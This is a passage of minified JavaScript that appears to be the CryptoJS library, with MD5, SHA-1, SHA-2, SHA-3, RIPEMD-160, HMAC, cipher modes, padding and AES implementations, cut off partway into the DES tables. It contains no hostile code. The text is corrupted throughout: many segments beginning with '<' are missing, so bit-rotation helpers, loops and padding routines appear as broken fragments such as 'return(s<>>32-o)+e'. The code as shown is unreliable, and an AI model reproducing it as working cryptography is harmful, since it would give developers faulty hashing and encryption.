o=this._hash.words,s=t[e+0],c=t[e+1],a=t[e+2],h=t[e+3],l=t[e+4],f=t[e+5],d=t[e+6],u=t[e+7],p=t[e+8],_=t[e+9],y=t[e+10],v=t[e+11],g=t[e+12],B=t[e+13],w=t[e+14],k=t[e+15],m=H(m=o[0],b=o[1],x=o[2],S=o[3],s,7,A[0]),S=H(S,m,b,x,c,12,A[1]),x=H(x,S,m,b,a,17,A[2]),b=H(b,x,S,m,h,22,A[3]);m=H(m,b,x,S,l,7,A[4]),S=H(S,m,b,x,f,12,A[5]),x=H(x,S,m,b,d,17,A[6]),b=H(b,x,S,m,u,22,A[7]),m=H(m,b,x,S,p,7,A[8]),S=H(S,m,b,x,_,12,A[9]),x=H(x,S,m,b,y,17,A[10]),b=H(b,x,S,m,v,22,A[11]),m=H(m,b,x,S,g,7,A[12]),S=H(S,m,b,x,B,12,A[13]),x=H(x,S,m,b,w,17,A[14]),m=z(m,b=H(b,x,S,m,k,22,A[15]),x,S,c,5,A[16]),S=z(S,m,b,x,d,9,A[17]),x=z(x,S,m,b,v,14,A[18]),b=z(b,x,S,m,s,20,A[19]),m=z(m,b,x,S,f,5,A[20]),S=z(S,m,b,x,y,9,A[21]),x=z(x,S,m,b,k,14,A[22]),b=z(b,x,S,m,l,20,A[23]),m=z(m,b,x,S,_,5,A[24]),S=z(S,m,b,x,w,9,A[25]),x=z(x,S,m,b,h,14,A[26]),b=z(b,x,S,m,p,20,A[27]),m=z(m,b,x,S,B,5,A[28]),S=z(S,m,b,x,a,9,A[29]),x=z(x,S,m,b,u,14,A[30]),m=C(m,b=z(b,x,S,m,g,20,A[31]),x,S,f,4,A[32]),S=C(S,m,b,x,p,11,A[33]),x=C(x,S,m,b,v,16,A[34]),b=C(b,x,S,m,w,23,A[35]),m=C(m,b,x,S,c,4,A[36]),S=C(S,m,b,x,l,11,A[37]),x=C(x,S,m,b,u,16,A[38]),b=C(b,x,S,m,y,23,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,A[51]),m=D(m,b,x,S,g,6,A[52]),S=D(S,m,b,x,h,10,A[53]),x=D(x,S,m,b,y,15,A[54]),b=D(b,x,S,m,c,21,A[55]),m=D(m,b,x,S,p,6,A[56]),S=D(S,m,b,x,k,10,A[57]),x=D(x,S,m,b,d,15,A[58]),b=D(b,x,S,m,B,21,A[59]),m=D(m,b,x,S,l,6,A[60]),S=D(S,m,b,x,v,10,A[61]),x=D(x,S,m,b,a,15,A[62]),b=D(b,x,S,m,_,21,A[63]),o[0]=o[0]+m|0,o[1]=o[1]+b|0,o[2]=o[2]+x|0,o[3]=o[3]+S|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32;var n=a.floor(r/4294967296),r=r;e[15+(64+i>>>9<<4)]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8),e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var e=this._hash,o=e.words,s=0;s<4;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return e},clone:function(){var t=i.clone.call(this);return t._hash=this._hash.clone(),t}});function H(t,e,r,i,n,o,s){s=t+(e&r|~e&i)+n+s;return(s<>>32-o)+e}function z(t,e,r,i,n,o,s){s=t+(e&i|r&~i)+n+s;return(s<>>32-o)+e}function C(t,e,r,i,n,o,s){s=t+(e^r^i)+n+s;return(s<>>32-o)+e}function D(t,e,r,i,n,o,s){s=t+(r^(e|~i))+n+s;return(s<>>32-o)+e}t.MD5=i._createHelper(e),t.HmacMD5=i._createHmacHelper(e)}(Math),P=(M=U).lib,t=P.WordArray,e=P.Hasher,P=M.algo,l=[],P=P.SHA1=e.extend({_doReset:function(){this._hash=new t.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],c=r[4],a=0;a<80;a++){a<16?l[a]=0|t[e+a]:(h=l[a-3]^l[a-8]^l[a-14]^l[a-16],l[a]=h<<1|h>>>31);var h=(i<<5|i>>>27)+c+l[a];h+=a<20?1518500249+(n&o|~n&s):a<40?1859775393+(n^o^s):a<60?(n&o|n&s|o&s)-1894007588:(n^o^s)-899497514,c=s,s=o,o=n<<30|n>>>2,n=i,i=h}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+c|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t}}),M.SHA1=e._createHelper(P),M.HmacSHA1=e._createHmacHelper(P),function(n){var t=U,e=t.lib,r=e.WordArray,i=e.Hasher,e=t.algo,o=[],p=[];!function(){function t(t){return 4294967296*(t-(0|t))|0}for(var e=2,r=0;r<64;)!function(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}(e)||(r<8&&(o[r]=t(n.pow(e,.5))),p[r]=t(n.pow(e,1/3)),r++),e++}();var _=[],e=e.SHA256=i.extend({_doReset:function(){this._hash=new r.init(o.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],c=r[4],a=r[5],h=r[6],l=r[7],f=0;f<64;f++){f<16?_[f]=0|t[e+f]:(d=_[f-15],u=_[f-2],_[f]=((d<<25|d>>>7)^(d<<14|d>>>18)^d>>>3)+_[f-7]+((u<<15|u>>>17)^(u<<13|u>>>19)^u>>>10)+_[f-16]);var d=i&n^i&o^n&o,u=l+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&a^~c&h)+p[f]+_[f],l=h,h=a,a=c,c=s+u|0,s=o,o=n,n=i,i=u+(((i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22))+d)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+c|0,r[5]=r[5]+a|0,r[6]=r[6]+h|0,r[7]=r[7]+l|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=n.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=i.clone.call(this);return t._hash=this._hash.clone(),t}});t.SHA256=i._createHelper(e),t.HmacSHA256=i._createHmacHelper(e)}(Math),r=(w=U).lib.WordArray,F=w.algo,i=F.SHA256,F=F.SHA224=i.extend({_doReset:function(){this._hash=new r.init([3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428])},_doFinalize:function(){var t=i._doFinalize.call(this);return t.sigBytes-=4,t}}),w.SHA224=i._createHelper(F),w.HmacSHA224=i._createHmacHelper(F),function(){var t=U,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,r=t.algo;function o(){return i.create.apply(i,arguments)}var t1=[o(1116352408,3609767458),o(1899447441,602891725),o(3049323471,3964484399),o(3921009573,2173295548),o(961987163,4081628472),o(1508970993,3053834265),o(2453635748,2937671579),o(2870763221,3664609560),o(3624381080,2734883394),o(310598401,1164996542),o(607225278,1323610764),o(1426881987,3590304994),o(1925078388,4068182383),o(2162078206,991336113),o(2614888103,633803317),o(3248222580,3479774868),o(3835390401,2666613458),o(4022224774,944711139),o(264347078,2341262773),o(604807628,2007800933),o(770255983,1495990901),o(1249150122,1856431235),o(1555081692,3175218132),o(1996064986,2198950837),o(2554220882,3999719339),o(2821834349,766784016),o(2952996808,2566594879),o(3210313671,3203337956),o(3336571891,1034457026),o(3584528711,2466948901),o(113926993,3758326383),o(338241895,168717936),o(666307205,1188179964),o(773529912,1546045734),o(1294757372,1522805485),o(1396182291,2643833823),o(1695183700,2343527390),o(1986661051,1014477480),o(2177026350,1206759142),o(2456956037,344077627),o(2730485921,1290863460),o(2820302411,3158454273),o(3259730800,3505952657),o(3345764771,106217008),o(3516065817,3606008344),o(3600352804,1432725776),o(4094571909,1467031594),o(275423344,851169720),o(430227734,3100823752),o(506948616,1363258195),o(659060556,3750685593),o(883997877,3785050280),o(958139571,3318307427),o(1322822218,3812723403),o(1537002063,2003034995),o(1747873779,3602036899),o(1955562222,1575990012),o(2024104815,1125592928),o(2227730452,2716904306),o(2361852424,442776044),o(2428436474,593698344),o(2756734187,3733110249),o(3204031479,2999351573),o(3329325298,3815920427),o(3391569614,3928383900),o(3515267271,566280711),o(3940187606,3454069534),o(4118630271,4000239992),o(116418474,1914138554),o(174292421,2731055270),o(289380356,3203993006),o(460393269,320620315),o(685471733,587496836),o(852142971,1086792851),o(1017036298,365543100),o(1126000580,2618297676),o(1288033470,3409855158),o(1501505948,4234509866),o(1607167915,987167468),o(1816402316,1246189591)],e1=[];!function(){for(var t=0;t<80;t++)e1[t]=o()}();r=r.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],c=r[4],a=r[5],h=r[6],l=r[7],f=i.high,d=i.low,u=n.high,p=n.low,_=o.high,y=o.low,v=s.high,g=s.low,B=c.high,w=c.low,k=a.high,m=a.low,S=h.high,x=h.low,b=l.high,r=l.low,A=f,H=d,z=u,C=p,D=_,E=y,R=v,M=g,F=B,P=w,W=k,O=m,I=S,U=x,K=b,X=r,L=0;L<80;L++){var j,T,N=e1[L];L<16?(T=N.high=0|t[e+2*L],j=N.low=0|t[e+2*L+1]):($=(q=e1[L-15]).high,J=q.low,G=(Q=e1[L-2]).high,V=Q.low,Z=(Y=e1[L-7]).high,q=Y.low,Y=(Q=e1[L-16]).high,T=(T=(($>>>1|J<<31)^($>>>8|J<<24)^$>>>7)+Z+((j=(Z=(J>>>1|$<<31)^(J>>>8|$<<24)^(J>>>7|$<<25))+q)>>>0>>0?1:0))+((G>>>19|V<<13)^(G<<3|V>>>29)^G>>>6)+((j+=J=(V>>>19|G<<13)^(V<<3|G>>>29)^(V>>>6|G<<26))>>>0>>0?1:0),j+=$=Q.low,N.high=T=T+Y+(j>>>0<$>>>0?1:0),N.low=j);var q=F&W^~F&I,Z=P&O^~P&U,V=A&z^A&D^z&D,G=(H>>>28|A<<4)^(H<<30|A>>>2)^(H<<25|A>>>7),J=t1[L],Q=J.high,Y=J.low,$=X+((P>>>14|F<<18)^(P>>>18|F<<14)^(P<<23|F>>>9)),N=K+((F>>>14|P<<18)^(F>>>18|P<<14)^(F<<23|P>>>9))+($>>>0>>0?1:0),J=G+(H&C^H&E^C&E),K=I,X=U,I=W,U=O,W=F,O=P,F=R+(N=(N=(N=N+q+(($=$+Z)>>>0>>0?1:0))+Q+(($=$+Y)>>>0>>0?1:0))+T+(($=$+j)>>>0>>0?1:0))+((P=M+$|0)>>>0>>0?1:0)|0,R=D,M=E,D=z,E=C,z=A,C=H,A=N+(((A>>>28|H<<4)^(A<<30|H>>>2)^(A<<25|H>>>7))+V+(J>>>0>>0?1:0))+((H=$+J|0)>>>0<$>>>0?1:0)|0}d=i.low=d+H,i.high=f+A+(d>>>0>>0?1:0),p=n.low=p+C,n.high=u+z+(p>>>0>>0?1:0),y=o.low=y+E,o.high=_+D+(y>>>0>>0?1:0),g=s.low=g+M,s.high=v+R+(g>>>0>>0?1:0),w=c.low=w+P,c.high=B+F+(w>>>0

>>0?1:0),m=a.low=m+O,a.high=k+W+(m>>>0>>0?1:0),x=h.low=x+U,h.high=S+I+(x>>>0>>0?1:0),r=l.low=r+X,l.high=b+K+(r>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(r),t.HmacSHA512=e._createHmacHelper(r)}(),P=(M=U).x64,c=P.Word,f=P.WordArray,P=M.algo,d=P.SHA512,P=P.SHA384=d.extend({_doReset:function(){this._hash=new f.init([new c.init(3418070365,3238371032),new c.init(1654270250,914150663),new c.init(2438529370,812702999),new c.init(355462360,4144912697),new c.init(1731405415,4290775857),new c.init(2394180231,1750603025),new c.init(3675008525,1694076839),new c.init(1203062813,3204075428)])},_doFinalize:function(){var t=d._doFinalize.call(this);return t.sigBytes-=16,t}}),M.SHA384=d._createHelper(P),M.HmacSHA384=d._createHmacHelper(P),function(l){var t=U,e=t.lib,f=e.WordArray,i=e.Hasher,d=t.x64.Word,e=t.algo,A=[],H=[],z=[];!function(){for(var t=1,e=0,r=0;r<24;r++){A[t+5*e]=(r+1)*(r+2)/2%64;var i=(2*t+3*e)%5;t=e%5,e=i}for(t=0;t<5;t++)for(e=0;e<5;e++)H[t+5*e]=e+(2*t+3*e)%5*5;for(var n=1,o=0;o<24;o++){for(var s,c=0,a=0,h=0;h<7;h++)1&n&&((s=(1<>>24)|4278255360&(o<<24|o>>>8);(m=r[n]).high^=s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),m.low^=o}for(var c=0;c<24;c++){for(var a=0;a<5;a++){for(var h=0,l=0,f=0;f<5;f++)h^=(m=r[a+5*f]).high,l^=m.low;var d=C[a];d.high=h,d.low=l}for(a=0;a<5;a++)for(var u=C[(a+4)%5],p=C[(a+1)%5],_=p.high,p=p.low,h=u.high^(_<<1|p>>>31),l=u.low^(p<<1|_>>>31),f=0;f<5;f++)(m=r[a+5*f]).high^=h,m.low^=l;for(var y=1;y<25;y++){var v=(m=r[y]).high,g=m.low,B=A[y];l=B<32?(h=v<>>32-B,g<>>32-B):(h=g<>>64-B,v<>>64-B);B=C[H[y]];B.high=h,B.low=l}var w=C[0],k=r[0];w.high=k.high,w.low=k.low;for(a=0;a<5;a++)for(f=0;f<5;f++){var m=r[y=a+5*f],S=C[y],x=C[(a+1)%5+5*f],b=C[(a+2)%5+5*f];m.high=S.high^~x.high&b.high,m.low=S.low^~x.low&b.low}m=r[0],k=z[c];m.high^=k.high,m.low^=k.low}},_doFinalize:function(){var t=this._data,e=t.words,r=(this._nDataBytes,8*t.sigBytes),i=32*this.blockSize;e[r>>>5]|=1<<24-r%32,e[(l.ceil((1+r)/i)*i>>>5)-1]|=128,t.sigBytes=4*e.length,this._process();for(var n=this._state,e=this.cfg.outputLength/8,o=e/8,s=[],c=0;c>>24)|4278255360&(h<<24|h>>>8);s.push(a=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8)),s.push(h)}return new f.init(s,e)},clone:function(){for(var t=i.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});t.SHA3=i._createHelper(e),t.HmacSHA3=i._createHmacHelper(e)}(Math),Math,F=(w=U).lib,u=F.WordArray,p=F.Hasher,F=w.algo,S=u.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),x=u.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),b=u.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),A=u.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),H=u.create([0,1518500249,1859775393,2400959708,2840853838]),z=u.create([1352829926,1548603684,1836072691,2053994217,0]),F=F.RIPEMD160=p.extend({_doReset:function(){this._hash=u.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}for(var o,s,c,a,h,l,f=this._hash.words,d=H.words,u=z.words,p=S.words,_=x.words,y=b.words,v=A.words,g=o=f[0],B=s=f[1],w=c=f[2],k=a=f[3],m=h=f[4],r=0;r<80;r+=1)l=o+t[e+p[r]]|0,l+=r<16?(s^c^a)+d[0]:r<32?K(s,c,a)+d[1]:r<48?((s|~c)^a)+d[2]:r<64?X(s,c,a)+d[3]:(s^(c|~a))+d[4],l=(l=L(l|=0,y[r]))+h|0,o=h,h=a,a=L(c,10),c=s,s=l,l=g+t[e+_[r]]|0,l+=r<16?(B^(w|~k))+u[0]:r<32?X(B,w,k)+u[1]:r<48?((B|~w)^k)+u[2]:r<64?K(B,w,k)+u[3]:(B^w^k)+u[4],l=(l=L(l|=0,v[r]))+m|0,g=m,m=k,k=L(w,10),w=B,B=l;l=f[1]+c+k|0,f[1]=f[2]+a+m|0,f[2]=f[3]+h+g|0,f[3]=f[4]+o+B|0,f[4]=f[0]+s+w|0,f[0]=l},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var e=this._hash,n=e.words,o=0;o<5;o++){var s=n[o];n[o]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8)}return e},clone:function(){var t=p.clone.call(this);return t._hash=this._hash.clone(),t}}),w.RIPEMD160=p._createHelper(F),w.HmacRIPEMD160=p._createHmacHelper(F),P=(M=U).lib.Base,_=M.enc.Utf8,M.algo.HMAC=P.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=_.parse(e));var r=t.blockSize,i=4*r;(e=e.sigBytes>i?t.finalize(e):e).clamp();for(var t=this._oKey=e.clone(),e=this._iKey=e.clone(),n=t.words,o=e.words,s=0;s>>2];t.sigBytes-=e}},d=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:n,padding:l}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,e=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=e.createEncryptor:(t=e.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(e,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),l=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,t=t.salt,e=t?s.create([1398893684,1701076831]).concat(t).concat(e):e;return e.toString(o)},parse:function(t){var e,r=o.parse(t),t=r.words;return 1398893684==t[0]&&1701076831==t[1]&&(e=s.create(t.slice(2,4)),t.splice(0,4),r.sigBytes-=16),d.create({ciphertext:r,salt:e})}},u=e.SerializableCipher=r.extend({cfg:r.extend({format:l}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),e=n.finalize(e),n=n.cfg;return d.create({ciphertext:e,key:r,iv:n.iv,algorithm:t,mode:n.mode,padding:n.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),t=(t.kdf={}).OpenSSL={execute:function(t,e,r,i){i=i||s.random(8);t=c.create({keySize:e+r}).compute(t,i),r=s.create(t.words.slice(e),4*r);return t.sigBytes=4*e,d.create({key:t,iv:r,salt:i})}},p=e.PasswordBasedCipher=u.extend({cfg:u.cfg.extend({kdf:t}),encrypt:function(t,e,r,i){r=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=r.iv;i=u.encrypt.call(this,t,e,r.key,i);return i.mixIn(r),i},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);r=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=r.iv,u.decrypt.call(this,t,e,r.key,i)}})}(),U.mode.CFB=((F=U.lib.BlockCipherMode.extend()).Encryptor=F.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;j.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),F.Decryptor=F.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);j.call(this,t,e,i,r),this._prevBlock=n}}),F),U.mode.CTR=(M=U.lib.BlockCipherMode.extend(),P=M.Encryptor=M.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>2]|=e<<24-r%4*8,t.sigBytes+=e},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},U.pad.Iso10126={pad:function(t,e){e*=4,e-=t.sigBytes%e;t.concat(U.lib.WordArray.random(e-1)).concat(U.lib.WordArray.create([e<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},U.pad.Iso97971={pad:function(t,e){t.concat(U.lib.WordArray.create([2147483648],1)),U.pad.ZeroPadding.pad(t,e)},unpad:function(t){U.pad.ZeroPadding.unpad(t),t.sigBytes--}},U.pad.ZeroPadding={pad:function(t,e){e*=4;t.clamp(),t.sigBytes+=e-(t.sigBytes%e||e)},unpad:function(t){for(var e=t.words,r=t.sigBytes-1,r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},U.pad.NoPadding={pad:function(){},unpad:function(){}},m=(P=U).lib.CipherParams,C=P.enc.Hex,P.format.Hex={stringify:function(t){return t.ciphertext.toString(C)},parse:function(t){t=C.parse(t);return m.create({ciphertext:t})}},function(){var t=U,e=t.lib.BlockCipher,r=t.algo,h=[],l=[],f=[],d=[],u=[],p=[],_=[],y=[],v=[],g=[];!function(){for(var t=[],e=0;e<256;e++)t[e]=e<128?e<<1:e<<1^283;for(var r=0,i=0,e=0;e<256;e++){var n=i^i<<1^i<<2^i<<3^i<<4;h[r]=n=n>>>8^255&n^99;var o=t[l[n]=r],s=t[o],c=t[s],a=257*t[n]^16843008*n;f[r]=a<<24|a>>>8,d[r]=a<<16|a>>>16,u[r]=a<<8|a>>>24,p[r]=a,_[n]=(a=16843009*c^65537*s^257*o^16843008*r)<<24|a>>>8,y[n]=a<<16|a>>>16,v[n]=a<<8|a>>>24,g[n]=a,r?(r=o^t[t[t[c^o]]],i^=t[t[i]]):r=i=1}}();var B=[0,1,2,4,8,16,32,64,128,27,54],r=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,i=4*(1+(this._nRounds=6+r)),n=this._keySchedule=[],o=0;o>>24]<<24|h[a>>>16&255]<<16|h[a>>>8&255]<<8|h[255&a]):(a=h[(a=a<<8|a>>>24)>>>24]<<24|h[a>>>16&255]<<16|h[a>>>8&255]<<8|h[255&a],a^=B[o/r|0]<<24),n[o]=n[o-r]^a);for(var s=this._invKeySchedule=[],c=0;c>>24]]^y[h[a>>>16&255]]^v[h[a>>>8&255]]^g[h[255&a]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,f,d,u,p,h)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,_,y,v,g,l);r=t[e+1];t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],y=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],v=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++],h=_,l=y,f=v,d=g;_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],y=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],v=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++];t[e]=_,t[e+1]=y,t[e+2]=v,t[e+3]=g},keySize:8});t.AES=e._createHelper(r)}(),function(){var t=U,e=t.lib,i=e.WordArray,r=e.BlockCipher,e=t.algo,h=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],l=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],f=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],d=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,1